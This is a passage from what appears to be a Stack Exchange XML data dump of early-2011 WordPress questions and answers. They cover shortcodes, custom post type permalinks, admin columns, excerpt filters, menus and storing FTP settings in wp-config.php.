&quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then turn it into a short code by adding the next line to your themes functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode(&quot;hashtag_tweets&quot;, &quot;tweets_by_hashtag_9867&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then all you have left to do is create a new,page or post and enter a shortcode for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[hashtag_tweets hashtag=&quot;YOUR_TAG&quot; number=&quot;NUMBER_OF_TWEETS_TO_GET&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change YOUR_TAG to your hashtag and change NUMBER_OF_TWEETS_TO_GET to the nuber of tweets you want to get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T22:30:30.317" CommentCount="3" />
  <row Id="9450" PostTypeId="1" AcceptedAnswerId="9452" CreationDate="2011-02-15T22:32:32.263" Score="0" ViewCount="108" Body="&lt;p&gt;Is there anyway to show different information shown about custom post types in their list in the admin, wp-admin/edit.php?post_type=myposttype ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could rip it apart by adding php or js to the admin_head action, but is there a core wp way.&lt;/p&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-02-15T22:56:10.083" Title="Change headers in admin posts list" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9451" PostTypeId="2" ParentId="9394" CreationDate="2011-02-15T22:48:36.587" Score="3" ViewCount="" Body="&lt;p&gt;I'd suggest wrapping it into a function that queries based on key using &lt;code&gt;get_col&lt;/code&gt; to select just the meta values, you'll get a nice flat array of data returned(you'll not get that with get_results unfortunately).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_meta_values( $key = '', $type = 'post', $status = 'publish' ) {&#xA;    global $wpdb;&#xA;    if( empty( $key ) )&#xA;        return;&#xA;    $r = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;&#xA;        SELECT pm.meta_value FROM {$wpdb-&amp;gt;postmeta} pm&#xA;        LEFT JOIN {$wpdb-&amp;gt;posts} p ON p.ID = pm.post_id&#xA;        WHERE pm.meta_key = '%s' &#xA;        AND p.post_status = '%s' &#xA;        AND p.post_type = '%s'&#xA;    &quot;, $key, $status, $type ) );&#xA;    return $r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you're querying for meta values associated with posts that are published selecting all the meta values is a simple case of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var = get_meta_values( 'YOURKEY' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to see a quick print out of the results(without needing to loop over the array returned)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo implode( '&amp;lt;br /&amp;gt;', get_meta_values( 'YOURKEY' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above query should be pretty light, and if you want to do counts, you can work that out looping over the returned data, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var = get_meta_values( 'YOURKEY' );&#xA;if( !empty( $my_var ) ) {&#xA;    $meta_counts = array();&#xA;    foreach( $my_var as $meta_value )&#xA;        $meta_counts[$meta_value] = ( isset( $meta_counts[$meta_value] ) ) ? $meta_counts[$meta_value] + 1 : 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$meta_counts&lt;/code&gt; would then hold an array of counts, the key is the meta value, the value is the count for that value, ie..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array(&#xA;  [some_meta_value] =&amp;gt; 10&#xA;  [some_other_value] =&amp;gt; 2&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-15T22:48:36.587" CommentCount="0" />
  <row Id="9452" PostTypeId="2" ParentId="9450" CreationDate="2011-02-15T22:56:10.083" Score="2" ViewCount="" Body="&lt;p&gt;If you mean change the columns that show op on the list of posts/custom post types&#xA;the there is a &quot;WordPress way&quot; to do that, take a look at &lt;a href=&quot;http://shibashake.com/wordpress-theme/add-custom-post-type-columns&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/add-custom-post-type-columns&lt;/a&gt;&#xA;and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3531/how-can-i-add-columns-to-the-post-edit-listing-to-show-my-custom-post-data/3532#3532&quot;&gt;jan answer to a similar question&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T22:56:10.083" />
  <row Id="9453" PostTypeId="1" AcceptedAnswerId="9456" CreationDate="2011-02-15T22:58:20.040" Score="0" ViewCount="165" Body="&lt;p&gt;Using the Wordpress default theme 2010 1.1, shortcodes work on the main blog page and individual post pages, but are being stripped out on category and archive pages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, stick in the theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('tsc', 'tsc_process_shortcode' );&#xA;&#xA;function tsc_process_shortcode($atts, $content = null) {&#xA;return 'INSERTED TEXT ' . $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;INSERTED TEXT isn't generated from [tsc] in post content shown on category and archive pages.  How do I get shortcodes to function on category and archive pages? &lt;/p&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2011-02-15T23:38:15.520" Title="stop shortcode stripping in category and archive pages" Tags="&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="9454" PostTypeId="2" ParentId="9453" CreationDate="2011-02-15T23:06:22.440" Score="1" ViewCount="" Body="&lt;p&gt;Assuming that you are using the default 2010 the archive and category loops use&#xA;the_excerpt instead of the_content and that is why the shortcodes are not being generated, fortunately there is a simple fix for that , just add this line to your themes functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_excerpt', 'do_shortcode', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T23:06:22.440" CommentCount="3" />
  <row Id="9455" PostTypeId="1" AcceptedAnswerId="9457" CreationDate="2011-02-15T23:14:28.343" Score="1" ViewCount="248" Body="&lt;p&gt;I'm having trouble setting up permalinks for a custom post type.&#xA;Below is the code from my init function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('topic',&#xA;  array(&#xA;   ...&#xA;   'hierarchical' =&amp;gt; true,&#xA;   'query_var' =&amp;gt; true,&#xA;   'rewrite' =&amp;gt; false,&#xA;   ...&#xA;  ));&#xA;&#xA;if(get_option('permalink_structure')!= ''):&#xA;  global $wp_rewrite;&#xA;&#xA;  $wp_rewrite-&amp;gt;add_rewrite_tag('%topic%', '(.+?)', 'topic=');&#xA;  $wp_rewrite-&amp;gt;add_permastruct('topic', '%forum%/%topic%/', false, EP_PERMALINK);&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to set up permalinks my own way because I want to append a custom taxonomy term before the post title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of: &lt;code&gt;topic/whatever&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use: &lt;code&gt;general-forum/sub-forum/whatever&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the function that changes the link, which seems to work ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_type_link', 'topic_link', 10, 4);&#xA;function topic_link($link, $post){&#xA;  if($post-&amp;gt;post_type != 'topic') return $link;&#xA;  global $wp_post_types;&#xA;  $terms = get_the_terms($post-&amp;gt;ID, 'forum');&#xA;  if(!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms)):&#xA;    usort($terms, '_usort_terms_by_id');&#xA;    $forums = $terms[0]-&amp;gt;slug;&#xA;    if(!empty($terms[0]-&amp;gt;parent)):&#xA;      $parent_item = $terms[0]-&amp;gt;parent;&#xA;      while(!empty($parent_item)):&#xA;        $parent = get_term($parent_item, 'forum');&#xA;        if(!is_wp_error($parent) &amp;amp;&amp;amp; !empty($parent))&#xA;        $forums = $parent-&amp;gt;slug.'/'.$forums;&#xA;        $parent_item = empty($parent-&amp;gt;parent) ? false : $parent-&amp;gt;parent;&#xA;      endwhile;&#xA;    endif;&#xA;  endif;&#xA;  return str_replace('%forum%', $forums, $link);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the modified URL is displayed fine, the only problem is that I get a 404 error :)&#xA;What am I doing wrong in my init code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LE:&lt;/strong&gt; the 'forum' taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;  'forum',&#xA;    array('topic', 'reply'),&#xA;    array(&#xA;      'public' =&amp;gt; true,&#xA;      'name' =&amp;gt; _a('Forums'),&#xA;      'singular_name' =&amp;gt; _a('Forum'),&#xA;      'show_ui' =&amp;gt; true,&#xA;      //'show_tagcloud' =&amp;gt; true,&#xA;      'show_in_nav_menus' =&amp;gt; true,&#xA;      'hierarchical' =&amp;gt; true,&#xA;&#xA;      'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; _a('Forums'),&#xA;        'singular_name' =&amp;gt; _a('Forum'),&#xA;        'search_items' =&amp;gt; _a('Search Forums'),&#xA;        'popular_items' =&amp;gt; _a('Popular Forums'),&#xA;        'all_items' =&amp;gt; _a('All Forums'),&#xA;        'parent_item' =&amp;gt; _a('Parent Forum'),&#xA;        'parent_item_colon' =&amp;gt; _a('Parent Forum:'),&#xA;        'edit_item' =&amp;gt; _a('Edit Forum'),&#xA;        'update_item' =&amp;gt; _a('Update Forum'),&#xA;        'add_new_item' =&amp;gt; _a('Add New Forum'),&#xA;        'new_item_name' =&amp;gt; _a('New Forum Name'),&#xA;      ),&#xA;      'query_var' =&amp;gt; true,&#xA;      'rewrite' =&amp;gt; array('slug' =&amp;gt; 'forums', 'with_front' =&amp;gt; false, 'hierarchical' =&amp;gt; true),&#xA;      //'update_count_callback' =&amp;gt; 'my_custom_count_callback',&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-02-15T23:48:53.357" LastActivityDate="2011-02-16T16:19:47.937" Title="Custom post type permalinks giving 404s" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="9456" PostTypeId="2" ParentId="9453" CreationDate="2011-02-15T23:38:15.520" Score="0" ViewCount="" Body="&lt;p&gt;Shortcodes are stripped from the excerpt before filters are applied. Try something more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tsc_execute_shortcodes_in_excerpts( $text, $raw_text ){&#xA;  if(empty($raw_text)){&#xA;    $text = get_the_content('');&#xA;    $text = apply_filters('the_content', $text);&#xA;    $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;    $text = strip_tags($text);&#xA;    $excerpt_length = apply_filters('excerpt_length', 55);&#xA;    $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;    $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;    if ( count($words) &amp;gt; $excerpt_length ) {&#xA;      array_pop($words);&#xA;      $text = implode(' ', $words);&#xA;      $text = $text . $excerpt_more;&#xA;    } else {&#xA;      $text = implode(' ', $words);&#xA;    }&#xA;  }&#xA;  return $text;&#xA;}&#xA;&#xA;add_filter( 'wp_trim_excerpt', 'tsc_execute_shortcodes_in_excerpts', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That basically re-runs &lt;code&gt;wp_trim_excerpt()&lt;/code&gt; on the content (minus shortcode stripping) if it was trimmed to begin with. If you want to target your shortcode only, you could do something like this after &lt;code&gt;get_the_content('')&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = str_replace( '[tsc', '{tsc', $text );&#xA;$text = strip_shortcodes( $text );&#xA;$text = str_replace( '{tsc', '[tsc', $text );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-15T23:38:15.520" CommentCount="1" />
  <row Id="9457" PostTypeId="2" ParentId="9455" CreationDate="2011-02-15T23:45:12.063" Score="1" ViewCount="" Body="&lt;p&gt;My plugin Custom Post Permalinks does this sort of thing for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd rather use your own solution, I'll need a bit more information, such as the registration code for the forums taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just guessing, I'm thinking the regex for a forum looks identical to the regex for a topic to the rewrite engine.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Looking at your code, it looks like you're using 3.1. The &lt;code&gt;$args['rewrite']['hierarchical']&lt;/code&gt; bit for taxonomies wasn't in 3.0. Basically, what that argument does is changes the regular expression for the &lt;code&gt;%forum%&lt;/code&gt; tag from &lt;code&gt;([^/])&lt;/code&gt; to &lt;code&gt;(.+?)&lt;/code&gt;. This means that WordPress' rewrite engine gets a match for this regular expression first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; @/(.+?)/(.+?)/?$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, for something like &lt;code&gt;/generic-forum/specific-forum/specific-topic&lt;/code&gt;, will parse to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?forum=generic-forum&amp;amp;topic=specific-forum/specific-topic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test if this is really what's causing the 404, change the taxonomy's rewrite args so that &lt;code&gt;['rewrite']['hierarchical']&lt;/code&gt; is either not set or set to false, flush the rewrite rules, and modify your topic link function not to add parents to the link; Then test to see if the new links work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the cause of the problems, there are a couple of ways to fix this. The easiest would be to add a bit of plain text to the permastruct, like this: &lt;code&gt;%forum%/topic/%topic%&lt;/code&gt;. That would give you links like this: &lt;code&gt;/general-forum/sub-forum/topic/whatever&lt;/code&gt;. Another way would be to add another rewrite tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_rewrite-&amp;gt;add_rewrite_tag( '%post_type_topic%', '(topic)', 'post_type=' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then change the permastruct to '%forum%/%post_type_topic%/%topic%'.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-02-16T16:19:47.937" LastActivityDate="2011-02-16T16:19:47.937" CommentCount="10" />
  <row Id="9458" PostTypeId="1" AcceptedAnswerId="9471" CreationDate="2011-02-15T23:50:24.163" Score="0" ViewCount="464" Body="&lt;p&gt;I am generating a navigation menu on my website using the wp_list_pages() function and I also am using a couple of custom post types with a post type archive function. How would I go about adding a link to the wp_list_pages function to also include a link to my post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home&lt;br&gt;&#xA;Tour &amp;amp; Arrival Information&lt;br&gt;&#xA;Getting Around&lt;br&gt;&#xA;About Us&lt;br&gt;&#xA;Contact Us&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are all pages and as such, are automatically found and placed into the list_pages function. I have a custom post type called sponsors which is a page that lists sponsors of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add a link to /sponsors? Can you make Wordpress treat a custom post type as a page and link to it? I did try and use the Wordpress menus functionality, but it couldn't see my post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the wp_list_pages uses internal functions to get pages with the post type of 'page' and that I need to use another function to accomplish what I am trying to do, however, I am stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to display posts using the post type 'sponsors' I just want to display a link to /sponsors that says sponsors, but allow the client to rearrange the order of the navigation which leads me to believe that I need to use a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I didn't provide enough information, just ask if I didn't. I'm very busy at present and probably didn't describe myself properly.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-02-16T04:49:57.493" Title="Including link to custom post type in 'wp_list_pages' function" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;posts&gt;&lt;pages&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9459" PostTypeId="2" ParentId="9219" CreationDate="2011-02-16T00:50:50.927" Score="2" ViewCount="" Body="&lt;p&gt;I found &lt;a href=&quot;http://wordpress.org/extend/plugins/mailpress/&quot; rel=&quot;nofollow&quot;&gt;Mailpress&lt;/a&gt; to be a far superior option to the others I tried (Post Notification and Subscribe 2). It has many options, it's own set of additional plugins, its own themes, and the option to sync subscribers with your userbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10/10!&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-02-16T00:50:50.927" />
  <row Id="9460" PostTypeId="2" ParentId="9173" CreationDate="2011-02-16T01:07:54.910" Score="0" ViewCount="" Body="&lt;p&gt;Well, it seems that the author of Wordpress MailChimp Framework is on indefinite vacation. So I suggest to you having the same problem as this one is to go through the PHP MCAPI wrapper (http://apidocs.mailchimp.com/downloads/#php) since this one is directly supported by the MailChimp team. The team has updated the wrapper to handle dropped connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yeah, forget about the Wordpress MailChimp Framework if you want your sanity.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-02-16T01:07:54.910" />
  <row Id="9461" PostTypeId="2" ParentId="9458" CreationDate="2011-02-16T01:29:31.877" Score="2" ViewCount="" Body="&lt;p&gt;&lt;em&gt;You're not able to classify a custom post type as a page, because as the name itself states, it s a custom post type (therefore not a page).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, and for making the management of your menu(s) easier in the future, I would strongly recommend that you add a 'Menu' to your theme.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First Make sure you are using Wordpress 3.0 or later.&lt;/li&gt;&#xA;&lt;li&gt;Secondly, follow &lt;a href=&quot;http://nvrt.me/4d6N&quot; rel=&quot;nofollow&quot;&gt;this easy tutorial&lt;/a&gt; to add a Menu to your theme.&lt;/li&gt;&#xA;&lt;li&gt;Lastly, you will be able to create a menu using the interface found in Appearance &gt; Manus and items to it as you please.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Well I hope that did the trick for you!&lt;/strong&gt; Let me know how it goes.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-16T01:29:31.877" CommentCount="2" />
  <row Id="9463" PostTypeId="1" CreationDate="2011-02-16T02:56:16.733" Score="0" ViewCount="77" Body="&lt;p&gt;We are building a site that will have 10-15 photographers posting content. &#xA;There will be a common blog + each admin has their own portfolio to manage. &quot;Portfolio galleries&quot; and &quot;portfolio pages&quot; are two custom types and they are categorized using &quot;Artist&quot;, a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like all admins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to be able to see all blog posts&#xA;&lt;li&gt;be able to post in the blog &#xA;&lt;li&gt;be able to add new &quot;portfolio galleries&quot; and &quot;portfolio pages&quot; and have them automatically tagged with the &quot;artist&quot; taxonomy with the same value as their name (i.e. John Smith will be able to only create portfolio pages and galleries automatically tagged with *Artist = &quot;John Smith&quot;*)&#xA;&lt;li&gt;be able to only view portfolio pages and galleries that belong to them (i.e. John Smith will only see portfolio pages and galleries that are marked with *Artist = &quot;John Smith&quot;*)&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally we would also like to have a couple of &quot;super admins&quot; that will have access to every post on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to go building something like this? Is it even feasible? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Following @בניית אתרים suggestion I have read a bit more about Roles and Capabilities and realized that Wordpress already supports out of the box the ability to limit users from editing other people's posts. All I needed to do was to switch all the users to be &lt;em&gt;Authors&lt;/em&gt; instead of &lt;em&gt;Editors&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In brief #1, #2 and #4 from the above list are resolved. I still need to get #3 to work using &lt;code&gt;save_post&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3086" LastEditorUserId="3086" LastEditorDisplayName="" LastEditDate="2011-02-23T12:40:29.867" LastActivityDate="2011-02-23T12:40:29.867" Title="How to customize admin posts based on the user who is logged in" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="9464" PostTypeId="1" AcceptedAnswerId="9480" CreationDate="2011-02-16T03:11:22.557" Score="0" ViewCount="382" Body="&lt;p&gt;I'm having an issue with using wp_insert_post.  I'm adding the ability for a post of one type to create a post of another type with the first post as the post parent.  I was testing out a few things using the save_posts filter.  I created a function that simply creates a post and then hooked that function to the save_posts filter.  The problem I'm having is that it is adding posts exponentially to my mySQL table.  The longer I let it run before I put a freeze on the server, the more posts get added.  Is there a better way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save() {&#xA;    $my_child = array(&#xA;                'post_title' =&amp;gt; $this-&amp;gt;_child_type,&#xA;                'post_content' =&amp;gt; &quot;test content&quot;,&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'post_type' =&amp;gt; &quot;video&quot;,&#xA;                'post_parent'=&amp;gt; 55&#xA;              );&#xA;    $nindex = wp_insert_post($my_child);&#xA;}&#xA;add_action('save_post', array(&amp;amp;$this, 'save'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-02-16T03:18:00.940" LastActivityDate="2011-02-16T11:42:10.297" Title="Problems wp_insert_post and save_posts filter" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;coding&gt;" AnswerCount="2" />
  <row Id="9465" PostTypeId="1" CreationDate="2011-02-16T03:39:21.880" Score="0" ViewCount="38" Body="&lt;p&gt;In using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-restful/&quot; rel=&quot;nofollow&quot;&gt;WP-RESTful&lt;/a&gt;, I am unable to see &lt;code&gt;wpr_add_plugin&lt;/code&gt; from any of the WP-RESTful plugins, eg. &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-restful-categories-plugin/&quot; rel=&quot;nofollow&quot;&gt;wp-restful-categories&lt;/a&gt;. &lt;code&gt;function_exists('wpr_add_plugin')&lt;/code&gt; returns false. Is there some configuration I'm missing (php, wp, etc) to allow the main plugin file of wp-restful-categories to see the functions defined in the main plugin file for wp-restful?&lt;/p&gt;&#xA;" OwnerUserId="3168" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-17T12:59:26.467" LastActivityDate="2011-02-17T12:59:26.467" Title="Can't see other plugin's functions" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;functions&gt;&lt;plugin-wp-restful&gt;" />
  <row Id="9466" PostTypeId="1" CreationDate="2011-02-16T04:15:44.383" Score="0" ViewCount="46" Body="&lt;p&gt;Wordpress 3.0 and newer does not allow you to remove the links placed on images without manually striping it withing the html.  Any idea how to do that by default?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-16T04:24:48.107" Title="Wordpress 3.0 embedded images" Tags="&lt;images&gt;" AnswerCount="1" />
  <row Id="9467" PostTypeId="2" ParentId="9466" CreationDate="2011-02-16T04:24:48.107" Score="3" ViewCount="" Body="&lt;p&gt;You actually can, there's a field on the upload image named &quot;Link URL&quot; which you can leave blank or just click the &quot;None&quot; button when you upload or edit an image in a post. Is this what you mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jRWEp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-16T04:24:48.107" />
  <row Id="9468" PostTypeId="1" AcceptedAnswerId="9469" CreationDate="2011-02-16T04:31:15.507" Score="2" ViewCount="91" Body="&lt;p&gt;Every time I attempt to upload a plugin or theme, I am asked for the FTP password.  Is there a way to save this within Wordpress, or do I have to enter it every time?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-02-16T07:22:32.133" LastActivityDate="2011-02-16T07:22:32.133" Title="How to save Admin FTP password" Tags="&lt;password&gt;&lt;ftp&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9469" PostTypeId="2" ParentId="9468" CreationDate="2011-02-16T04:39:02.713" Score="4" ViewCount="" Body="&lt;p&gt;You can save this information on your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FTP_HOST', 'ftp_host');&#xA;define('FTP_USER', 'ftp_username');&#xA;define('FTP_PASS', 'ftp_password');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants&quot; rel=&quot;nofollow&quot;&gt;More info&lt;/a&gt; (WordPress Codex)&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-16T04:39:02.713" />
  <row Id="9470" PostTypeId="2" ParentId="715" CreationDate="2011-02-16T04:44:57.513" Score="2" ViewCount="" Body="&lt;h1&gt;Test your plugin&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We should definitively have some testing tools on our plugin development environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9429/unit-testing-for-plugin-development/9448#9448&quot;&gt;this answer&lt;/a&gt; by &lt;a href=&quot;http://wordpress.stackexchange.com/users/984/ethan-seifert&quot;&gt;Ethan Seifert&lt;/a&gt; to a testing question, these are good practices to follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your Unit Testing should test the smallest amount of behavior that a class can perform. &lt;/li&gt;&#xA;&lt;li&gt;When you get up to the level of functional testing this is where you can test you code with Wordpress dependencies. &lt;/li&gt;&#xA;&lt;li&gt;Depending on what your plugin does -- consider using Selenium-based tests which test for the presence of data in the DOM by using IDs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-16T04:44:57.513" CommunityOwnedDate="2011-02-16T04:44:57.513" CommentCount="3" />
  <row Id="9471" PostTypeId="2" ParentId="9458" CreationDate="2011-02-16T04:49:57.493" Score="0" ViewCount="" Body="&lt;p&gt;I solved this issue a different way. I created a page called 'sponsors' and then created a custom page template that ignored any content entered into the editor and used some custom Wordpress queries to get content from my custom post type. It's so simple and works so well as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit is I have a page that is merely a proxy for other content and the menu order can be adjusted as if it were a normal page (well, it is).&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-02-16T04:49:57.493" />
